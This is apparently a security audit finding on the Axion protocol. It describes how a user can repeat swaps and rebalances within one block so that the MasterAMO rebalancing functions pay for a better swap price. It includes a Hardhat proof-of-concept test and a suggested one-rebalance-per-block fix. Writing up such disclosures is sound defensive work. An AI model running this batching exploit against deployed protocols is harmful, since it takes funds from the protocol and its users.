Smooth Fossilized Aphid
High
Multiple rebalances per block lead to better swap prices for users and loss of funds for the protocol
Multiple rebalances within a single block can result in financial losses for the protocol while providing enhanced swap execution for a malicious user. Instead of executing a full token swap in one operation, the attacker can perform the swap in small increments. Between these incremental swaps, the attacker can trigger the protocol's rebalancing functionalities to manipulate pool balances. This entire sequence can be executed atomically within a single transaction.
No checks for a same block rebalance in unfarmBuyBurn()
and mintSellFarm()
functions.
https://github.com/sherlock-audit/2024-10-axion/blob/d75df3636ea28dd627d548d5d473c5d5477b0dc6/liquidity-amo/contracts/MasterAMO.sol#L296
https://github.com/sherlock-audit/2024-10-axion/blob/d75df3636ea28dd627d548d5d473c5d5477b0dc6/liquidity-amo/contracts/MasterAMO.sol#L278
N/A
N/A
Imagine a user wants to sell BOOST tokens to obtain USD. In a liquidity pool where BOOST is valued at around $1, an attacker aims to swap a large amount of BOOST. Instead of performing one large swap, the attacker breaks the transaction into smaller batches and repeatedly calls the unfarmBuyBurn
function with each batch. All this done in a single atomic transaction.
Protocol sell usd in order for the malicious user to get better swap rate.
it("should verify that batch swapping returns more", async function() {
// Get pair
const pairAddress: string = await router.pairFor(usdAddress, boost, true);
const pair: IPair = (await ethers.getContractAt("contracts/interfaces/v2/IPair.sol:IPair", pairAddress)) as IPair;
// Get what is the expected amount out of a single swap for 3000000e18 (values are chosen to easly integrate with the existing tests setup)
const singleSwapAmountOut = await pair.getAmountOut(ethers.parseUnits("3000000", 18), boostAddress);
const usdBefore = await (await ethers.getContractAt("contracts/mock/MockRouter.sol:IERC20", usdAddress)).balanceOf(user);
// Instead of doing one single swap, it is splitted into three with a rebalance operation between them
const boostToBuy = ethers.parseUnits("1000000", 18);
const routeSellBoost = [{
from: boostAddress,
to: usdAddress,
stable: true
}];
await boost.connect(boostMinter).mint(user.address, boostToBuy);
await boost.connect(user).approve(routerAddress, boostToBuy);
await router.connect(user).swapExactTokensForTokens(
boostToBuy,
0,
routeSellBoost,
user.address,
deadline
);
await expect(solidlyV2AMO.connect(user).unfarmBuyBurn()).to.be.emit(solidlyV2AMO, "PublicUnfarmBuyBurnExecuted");
// Second batch
await boost.connect(boostMinter).mint(user.address, boostToBuy);
await boost.connect(user).approve(routerAddress, boostToBuy);
await router.connect(user).swapExactTokensForTokens(
boostToBuy,
0,
routeSellBoost,
user.address,
deadline
);
await expect(solidlyV2AMO.connect(user).unfarmBuyBurn()).to.be.emit(solidlyV2AMO, "PublicUnfarmBuyBurnExecuted");
// Third batch
await boost.connect(boostMinter).mint(user.address, boostToBuy);
await boost.connect(user).approve(routerAddress, boostToBuy);
await router.connect(user).swapExactTokensForTokens(
boostToBuy,
0,
routeSellBoost,
user.address,
deadline
);
await expect(solidlyV2AMO.connect(user).unfarmBuyBurn()).to.be.emit(solidlyV2AMO, "PublicUnfarmBuyBurnExecuted");
const usdAfter = await (await ethers.getContractAt("contracts/mock/MockRouter.sol:IERC20", usdAddress)).balanceOf(user);
// The following log shows the difference between the expected value of single swap and splitted into batches
console.log((usdAfter - usdBefore as unknown as bigint) - singleSwapAmountOut)
});
log: 27592728720n
The more the number of independent swap, the bigger the difference will be. This difference is indirectly paid by the protocol for providing USD when price is relatively lower between the batches instead of providing it when the user makes the whole swap.
Introduce a mapping from block.timestamp -> has rebalance occured and forbid more than one rebalance for a certain block.timestamp.